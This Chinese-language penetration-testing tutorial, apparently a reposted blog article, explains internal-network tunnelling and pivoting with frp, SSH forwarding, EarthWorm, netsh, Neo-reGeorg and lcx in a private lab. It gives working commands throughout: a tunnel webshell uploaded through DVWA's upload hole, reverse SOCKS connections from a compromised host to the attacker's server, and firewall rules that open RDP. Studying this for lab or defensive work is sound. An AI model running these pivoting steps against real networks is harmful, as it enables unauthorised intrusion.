公眾號:白帽子左一
領(lǐng)取配套練手靶場、安全全套課程及工具...
一、簡介
學習內(nèi)網(wǎng)安全的時候,總會見到一些隧道的概念。搭建隧道對于內(nèi)網(wǎng)滲透來說是一個必不可少的環(huán)節(jié)。簡單理解,隧道的概念即是做端口轉(zhuǎn)發(fā),將流量通過某種方式,轉(zhuǎn)發(fā)到內(nèi)部機器。
二、搭建隧道的場景分析
在內(nèi)網(wǎng)滲透的過程中,當獲取到邊界主機之后,需要繼續(xù)深入滲透,這時就需要搭建代理或者建立隧道,去探測訪問處于內(nèi)網(wǎng)中的機器。
常見的方法有:搭建socks5代理、端口轉(zhuǎn)發(fā)、建立隧道等
三、常見隧道工具及其使用方法
1、frp內(nèi)網(wǎng)穿透工具
frp即高性能反向代理應(yīng)用,其主要用于將部分內(nèi)網(wǎng)服務(wù)"暴露"到公網(wǎng)上供用戶使用(例如http等)。官方給出的功能列表如下:
利用處于防火墻后的機器,對外網(wǎng)環(huán)境提供 http 或 https 服務(wù)。
對于 http, https 服務(wù)支持基于域名的虛擬主機,支持自定義域名綁定,使多個域名可以共用一個80端口。
利用處于防火墻后的機器,對外網(wǎng)環(huán)境提供 tcp 和 udp 服務(wù),例如在家里通過 ssh 訪問處于公司局部環(huán)境的主機。
這里稍微談?wù)撘幌路聪虼砗驼虼恚?/p>
(1)正向代理
即當客戶端由于某種原因,不能訪問外部服務(wù)的時候(例如防火墻的限制),就需要一臺代理服務(wù)器來中轉(zhuǎn)一下(例如使用socks5代理服務(wù)器)。比較常見的方式就是使用VPN(俗稱翻墻)。
在內(nèi)網(wǎng)滲透的過程中,當我們獲取到一臺邊界服務(wù)器之后,需要繼續(xù)向內(nèi)進行滲透時,可以將該邊界服務(wù)器作為代理服務(wù)器,通過該服務(wù)器去訪問內(nèi)網(wǎng)服務(wù)。(即正向代理)
(2)反向代理
反向代理一般用于負載均衡。即當我們想要訪問Web服務(wù)時,會發(fā)送一條請求給反向代理服務(wù)器,該代理服務(wù)器會將請求轉(zhuǎn)發(fā)給處于內(nèi)網(wǎng)的Web服務(wù)器(根據(jù)負載程度,轉(zhuǎn)發(fā)到不同服務(wù)器),從而實現(xiàn)負載均衡。
反向代理對于客戶端來說(即發(fā)送請求的一端)是透明,我們不知道代理服務(wù)器將請求發(fā)送給哪臺主機。
(3)正向代理與反向代理的區(qū)別
正向代理對于服務(wù)器來說是透明的,因為它不知道訪問它的客戶是誰,所有的請求都是通過正向代理服務(wù)器轉(zhuǎn)發(fā)過去的。
而反向代理對于客戶端來說是透明的,即它不知道請求的目標主機的真正IP,因為它將所有的請求都只是發(fā)送到反向代理服務(wù)器上面。
適用場景:
(1)由于防火墻的限制,部分端口不能直接訪問,可以將端口轉(zhuǎn)發(fā)出去從而繞過防火墻(前提是獲取了該目標主機的shell)
(2)利用frp可以搭建socks5服務(wù)
采用實驗的方式進行理解:
實驗拓撲結(jié)構(gòu):
V-PS:
192.168.226.130
OWASP WEB:
外:192.168.226.133
內(nèi):192.168.100.100
Ubuntu Server:
192.168.100.101
目的:將內(nèi)網(wǎng)機器Ubuntu Server流量通過OWASP Web服務(wù)器轉(zhuǎn)發(fā)出來
實驗一:將內(nèi)網(wǎng)機器的22號端口映射到邊界服務(wù)器的6000端口
# frp相關(guān)配置如下
# frp服務(wù)端(邊界服務(wù)器) frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
# frp客戶端(內(nèi)網(wǎng)機器) frpc.ini
[common]
server_addr = 192.168.100.100
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
# 啟動服務(wù)
# 服務(wù)端 ./frps -c frps.ini
# 客戶端 ./frpc -c frpc.ini

接下來在V-PS直接連接邊界主機的6000端口即可連接到內(nèi)網(wǎng)的22端口

實驗二:使用frp實現(xiàn)socks5代理
# frp相關(guān)配置如下
# frp服務(wù)端(邊界服務(wù)器) frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
# frp客戶端(內(nèi)網(wǎng)機器) frpc.ini
[common]
server_addr = 192.168.100.100
server_port = 7000
[socks5]
type = tcp
remote_port = 6001
plugin = socks5
# 啟動完成以后,在V-P-S配置一下/etc/proxychains.conf
[ProxyList]
socks5 192.168.226.133 6001
接下來通過socks5代理的方式去訪問內(nèi)網(wǎng)機器的22號端口:
2、SSH
SSH即Secure Shell,它對傳輸?shù)臄?shù)據(jù)進行了加密處理。利用SSH,也可以實現(xiàn)端口轉(zhuǎn)發(fā)
SSH一般用于本地端口轉(zhuǎn)發(fā)和遠程端口轉(zhuǎn)發(fā)
(1)本地端口轉(zhuǎn)發(fā)
顧名思義,就是將本機的某個端口轉(zhuǎn)發(fā)出去。
考慮以下這種情況:
V-P-S要連接內(nèi)網(wǎng)機器,就必須得通過中間那臺服務(wù)器。如果我們知道中間那臺服務(wù)器的賬號和密碼,就可將中間服務(wù)器當作跳板,去訪問內(nèi)網(wǎng)機器,具體做法如下:
# 在V-P-S上執(zhí)行如下命令:
ssh -g -L 9999:192.168.100.101:22 -fN [email protected]
# 參數(shù)介紹:
-L 表示做本地端口映射,9999表示本地端口,192.168.100.101:22表示目標映射的地址與端口
-f 表示SSH客戶端在后臺運行
-N 參數(shù)表示該連接不做任何操作,僅用于端口轉(zhuǎn)發(fā)
-g 表示允許外來主機連接該V-P-S的9999端口(例如用netstat查看時監(jiān)聽的是0.0.0.0:9999)
# 上述命令理解為通過192.168.100.100,將本地9999端口映射到內(nèi)網(wǎng)主機192.168.100.101的22端口
# 驗證映射成功
ssh [email protected] -p 9999
(2)遠程端口轉(zhuǎn)發(fā)
遠程端口轉(zhuǎn)發(fā)即將一臺遠程主機的端口轉(zhuǎn)發(fā)到另外一臺主機的某個端口
與本地端口轉(zhuǎn)發(fā)不同,它需要在中間服務(wù)器上執(zhí)行(也就是上面的跳板),一般用于內(nèi)網(wǎng)流量可以出去,但是外網(wǎng)流量由于防火墻限制不能進的情況。
考慮以下這種情況:
在中間服務(wù)器執(zhí)行ssh的遠程端口轉(zhuǎn)發(fā),打開V-P-S的某個端口,與內(nèi)網(wǎng)機器(中間服務(wù)器能訪問的機器)的某個端口做一個映射。(與本地端口轉(zhuǎn)發(fā)類似,這里只不過是打開遠程主機的某個端口)
常規(guī)操作:
# 將遠程主機的9999端口映射到內(nèi)網(wǎng)機器的80端口
# -R參數(shù)表示進行遠程端口轉(zhuǎn)發(fā)
ssh -R 9999:192.168.100.101:80 -fN [email protected]
做個實驗:模擬中間服務(wù)器不允許V-P-S訪問其80端口,通過在中間服務(wù)器做一個遠程端口轉(zhuǎn)發(fā),繞過防火墻
# iptables模擬防火墻,不允許V-P-S訪問中間服務(wù)器的80端口(設(shè)置INPUT鏈規(guī)則)
iptables -A INPUT -p tcp -s 192.168.226.130 --dport 80 -j DROP
# 在V-P-S訪問192.168.226.133的80端口發(fā)現(xiàn)訪問不了
curl 192.168.226.113
# 在中間服務(wù)器上做一個遠程端口轉(zhuǎn)發(fā)(注意:這里的映射主機就是中間服務(wù)器)
ssh -R 9999:192.168.226.133:80 -fN [email protected]
# 在V-P-S訪問本機的9999端口,發(fā)現(xiàn)可以訪問
curl 127.0.0.1:9999
3、EarthWorm
EarthWorm也是一個內(nèi)網(wǎng)穿透的神器,可以利用端口轉(zhuǎn)發(fā)做socks5代理實現(xiàn)內(nèi)網(wǎng)的穿透
主要有三個參數(shù):
# rcsocks客戶端,監(jiān)聽端口以及轉(zhuǎn)發(fā)端口
# rsscoks服務(wù)端,指定連接的主機以及端口
# ssocksd,做正向代理
以上述實驗拓撲為例,EarthWorm可以做正向代理和反向代理
(1)正向代理示例
# 在中間服務(wù)器做一個正向代理,V-P-S通過該代理去訪問內(nèi)網(wǎng)機器
# 利用EarthWorm在中間服務(wù)器上做一個代理服務(wù)
./ew_for_linux32 -s ssocksd -l 8888
# 此時該主機會監(jiān)聽8888端口,相當于一臺socks5代理服務(wù)器
# V-P-S配置一下socks5代理即可訪問內(nèi)網(wǎng)機器
# 修改/etc/proxychains.conf
socks5 192.168.226.133 8888
# 訪問內(nèi)網(wǎng)機器的80端口
proxychains curl 192.168.100.101
(這里正向代理的含義是中間服務(wù)主動打開了一個端口等待我們的V-P-S連接,也就是主動去連接)
(2)反向代理示例
# 讓中間服務(wù)器主動與我們的V-P-S建立一個連接,以便傳輸數(shù)據(jù)(用于外部流量不能進,而內(nèi)部流量可以出的情況)
# 在V-P-S上配置監(jiān)聽端口(8888端口用于連接傳輸數(shù)據(jù),10002端口表示將本機的10002端口轉(zhuǎn)發(fā)到8888端口)
./ew_for_Linux64 -s rcsocks -l 10002 -e 8888
# 配置一下V-P-S上的socks5代理
socks5 127.0.0.1 10002
# 在中間服務(wù)器配置主動連接
./ew_for_Linux32 -s rssocks -d 192.168.226.130 -e 8888

# 接下來嘗試訪問內(nèi)網(wǎng)機器
proxychains curl 192.168.100.101
4、netsh
netsh即network shell,是windows系統(tǒng)提供的一款強大的網(wǎng)絡(luò)配置命令行工具。它擁有比較強大的端口轉(zhuǎn)發(fā)功能,能夠進行本地端口轉(zhuǎn)發(fā)和遠程端口轉(zhuǎn)發(fā)。netsh也可以用于配置防火墻
(1)netsh實現(xiàn)端口轉(zhuǎn)發(fā)
# 使用方式介紹
netsh interface portproxy add v4tov4 listenaddress=監(jiān)聽主機 listenport=本機需要映射(轉(zhuǎn)發(fā))的端口 connectaddress=遠程主機(也可以是本機) connectport=遠程(本地)映射端口

由于是做端口轉(zhuǎn)發(fā),因此考慮的場景是從外(邊界)向里(內(nèi)網(wǎng)),利用此工具進行端口轉(zhuǎn)發(fā),從而訪問內(nèi)網(wǎng)。
例如:假設(shè)邊界主機是一臺windows,并且我們已經(jīng)獲取了相應(yīng)的權(quán)限。接下來要做的事情是向內(nèi)網(wǎng)繼續(xù)進行滲透。
實驗拓撲:
# V-PS主機:192.168.226.113
# 邊界windows主機:192.168.226.133/192.168.100.100(雙網(wǎng)卡)
# 內(nèi)網(wǎng)服務(wù)器:192.168.100.101
由于V-PS無法直接訪問內(nèi)網(wǎng)的服務(wù),因此在邊界windows主機上做一個端口轉(zhuǎn)發(fā),將流量轉(zhuǎn)發(fā)到內(nèi)網(wǎng)主機的某個端口上。(以訪問內(nèi)網(wǎng)80端口為例)
# 以下操作實在windows邊界主機上進行的
# 監(jiān)聽所有主機訪問本機8080端口,將流量轉(zhuǎn)發(fā)到內(nèi)網(wǎng)的80端口
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=192.168.100.101 connectport=80
# 接下來,當我們訪問該主機的8080端口時,相當于訪問了內(nèi)網(wǎng)的Web服務(wù)器
# 查看我們建立的轉(zhuǎn)發(fā)規(guī)則
netsh interface portproxy show v4tov4
# 刪除我們建立轉(zhuǎn)發(fā)規(guī)則
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8080
考慮到另外一種場景:由于防火墻的限制,該windows主機只開放了幾個端口,而你又想訪問其他端口(例如3389)
此時可以做一個本地端口轉(zhuǎn)發(fā),將3389端口的流量映射到其他開放的端口上
# 實現(xiàn)命令(假設(shè)12345端口對外開放)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=12345 connectaddress=127.0.0.1 connectport=3389
# 當外部主機訪問該主機的12345時,相當于訪問本機的3389端口
(2)netsh配置防火墻
netsh配置防火墻有兩個參數(shù)firewall和advfirewall(firewall是簡單模式、advfirewall是高級模式)
例如:
# 開放3389端口
netsh advfirewall firewall add rule name="openRDP" dir=in protocol=tcp localport=3389 action=allow
(name表示給該規(guī)則命名,dir表示流量方向)

去查看防火墻規(guī)則,也可以看見此規(guī)則添加成功。

# 刪除上述規(guī)則
netsh advfirewall firewall delete rule name="openRDP" protocol=tcp localport=3389
5、Neo-reGeorg
Neo-reGeory是一款建立HTTP隧道的工具,適用于目標服務(wù)器只開放了80端口,通過80端口去探測內(nèi)網(wǎng)服務(wù)器。(利用文件上傳漏洞即可)
最常見的使用應(yīng)該還是搭建一個socks代理
(嘗試了一下reGeory,搭代理后去訪問內(nèi)網(wǎng)的80端口,結(jié)果是408。但是使用Neo-reGeorg可以直接訪問,也許是環(huán)境的問題)
# 簡單搭建socks代理實現(xiàn)
# 創(chuàng)建隧道文件
Python neoreg.py generate -k password
# 通過一定的方式將相應(yīng)腳本文件傳到目標服務(wù)器
# 本次實驗采用的是dvwa,上傳php腳本文件tunnel.php
執(zhí)行:
python neoreg.py -k password -u http://192.168.226.133/dvwa/hackable/uploads/tunnel.php -p 1080
(將本地1080端口的流量轉(zhuǎn)發(fā)到目標服務(wù)器)
# 配置socks5代理/etc/proxychains.conf或者瀏覽器配置socks5
socks5 127.0.0.1 1080
# 訪問內(nèi)網(wǎng)的80服務(wù)
proxychains curl 192.168.100.101
6、Lcx
lcx也是一款強大的內(nèi)網(wǎng)端口轉(zhuǎn)發(fā)工具,現(xiàn)已經(jīng)有了跨平臺的工具,在Linux和Windows下都可以使用
由于是做端口轉(zhuǎn)發(fā),因此考慮一下幾種場景:
實現(xiàn)一:22端口不出網(wǎng)做本地端口轉(zhuǎn)發(fā)連接ssh
# 由于防火墻限制,現(xiàn)在中間服務(wù)器的22號端口禁止對外開放
# 配置iptables(由于環(huán)境原因,將V-PS作為靶機,中間主機作為攻擊機),在V-PS上配置防火墻
iptables -A OUTPUT -p tcp -d 192.168.226.133 --sport 22 -j DROP
# 將從22號端口出去的流向192.168.226.133主機的流量丟棄掉
# 直接去訪問V-PS的22號端口連接不了
ssh [email protected]
# 利用lcx實現(xiàn)本地端口轉(zhuǎn)發(fā),將22號流量轉(zhuǎn)發(fā)到其他允許出網(wǎng)的端口上面(V-PS上執(zhí)行)
# 表示將10003端口的流量都轉(zhuǎn)發(fā)給22號端口
./portmap -m 1 -p1 10003 -h2 127.0.0.1 -p2 22
# 再次連接即可成功
ssh [email protected] -p 10003
實驗二:一層主機做端口轉(zhuǎn)發(fā)訪問二層內(nèi)網(wǎng)主機
# 場景分析:需要使用V-PS去訪問內(nèi)網(wǎng)的80端口
# 在中間服務(wù)器(一層主機)上做端口轉(zhuǎn)發(fā)
./a.out -m 1 -p1 10004 -h2 192.168.100.101 -p2 80
# 表示將本機的10004端口的流量轉(zhuǎn)發(fā)給內(nèi)網(wǎng)主機80端口
# V-PS訪問一層主機的10004端口即可實現(xiàn)訪問內(nèi)網(wǎng)主機的80端口
curl 192.168.226.133:10004
四、總結(jié)
本地端口轉(zhuǎn)發(fā)用于某個端口由于防火墻的限制,不能出網(wǎng),例如常見的22,3389端口。如果此時,我們通過一些手段拿到了目標服務(wù)器的shell(例如通過Web服務(wù)上傳了一個Webshell),我們可以利用本地端口轉(zhuǎn)發(fā)的技術(shù),將某個對外開放的端口(例如10000)將其流量轉(zhuǎn)發(fā)給22號端口。這樣,通過訪問目標主機的10000端口,即可實現(xiàn)連接22號端口進行遠程訪問。
遠程端口轉(zhuǎn)發(fā)感覺多用于通過某個跳板去訪問內(nèi)部主機。例如如下拓撲結(jié)構(gòu):

在SSH服務(wù)器上做一個遠程端口轉(zhuǎn)發(fā),將A的某個端口映射到B的某個端口上,這樣V-PS可以直接訪問A的某個端口實現(xiàn)對B的訪問。
原文地址:http://33h.co/90vr1